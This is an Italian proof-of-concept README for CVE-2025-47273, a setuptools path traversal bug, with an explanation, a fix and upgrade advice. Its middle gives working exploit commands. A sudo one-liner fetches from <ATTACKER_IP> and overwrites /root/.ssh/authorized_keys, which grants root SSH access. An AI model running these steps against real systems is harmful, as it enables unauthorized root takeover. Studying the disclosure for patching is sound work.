
CVE-2025-47273 è una vulnerabilità di path traversal ad alta gravità nella libreria setuptools, specificamente nella versione 78.1.0.
Questa Proof of Concept (PoC) è intesa esclusivamente a scopo educativo e per audit di sicurezza autorizzati. L'autore non si assume alcuna responsabilità per l'uso improprio di queste informazioni. L'accesso non autorizzato a sistemi informatici è illegale e non etico.
CVE-2025-47273 è una vulnerabilità di path traversal trovata nel modulo package_index della libreria setuptools (v78.1.0 e precedenti). La vulnerabilità consente a un attaccante di eseguire una scrittura arbitraria di file fornendo un URL appositamente creato al metodo PackageIndex.download().
Il difetto deriva da un errore comune nella funzione os.path.join() di Python. Secondo la documentazione di Python:
Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto.
Nella versione vulnerabile di setuptools, il nome del file di destinazione viene determinato estraendo un nome dall'URL e unendolo con una directory temporanea:
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
Se un attaccante fornisce un URL in cui la parte del nome file (dopo la decodifica dell'URL) inizia con una barra /, os.path.join scarta il prefisso tmpdir e restituisce il percorso assoluto fornito nell'URL.
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. URL Decoding
v
[ Decoded Filename (name) ]
"/etc/passwd"
|
| 2. Vulnerable Function Call
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Python os.path.join Logic
v
[ Resulting Path (filename) ]
"/etc/passwd" <-- /tmp/download_dir is discarded!
Poiché il percorso di destinazione può essere manipolato in un percorso assoluto, un attaccante può scrivere contenuti arbitrari in qualsiasi posizione del filesystem dove il processo ha permessi di scrittura.
setuptools viene eseguito con privilegi elevati (ad esempio, un installer a livello di sistema), un attaccante può sovrascrivere file di sistema critici come /etc/passwd, /root/.ssh/authorized_keys o /etc/shadow e molte altre possibilità...~/.bashrc, ~/.ssh/authorized_keys, o iniettare codice in librerie Python esistenti può portare a un'esecuzione di codice remota persistente./root/.ssh/authorized_keys )La vulnerabilità è presente in setuptools versione 78.1.0.
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
Lo script server.py agisce come un indice di pacchetti malintenzionato. Serve un file payload indipendentemente dal percorso richiesto, e il file che stiamo servendo è id_rsa.pub.
python3 server.py 80
Attiva la scrittura del file usando questo comando e poi puoi accedere via ssh come root con la tua coppia di chiavi ssh precreata
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<target-ip>
La vulnerabilità è stata risolta in setuptools versione 78.1.1. La correzione prevede la sanificazione rigorosa della variabile name derivata dall'URL per garantire che non contenga barre iniziali o lettere di unità prima di essere passata a os.path.join().
Per proteggere il tuo ambiente:
pip install --upgrade setuptools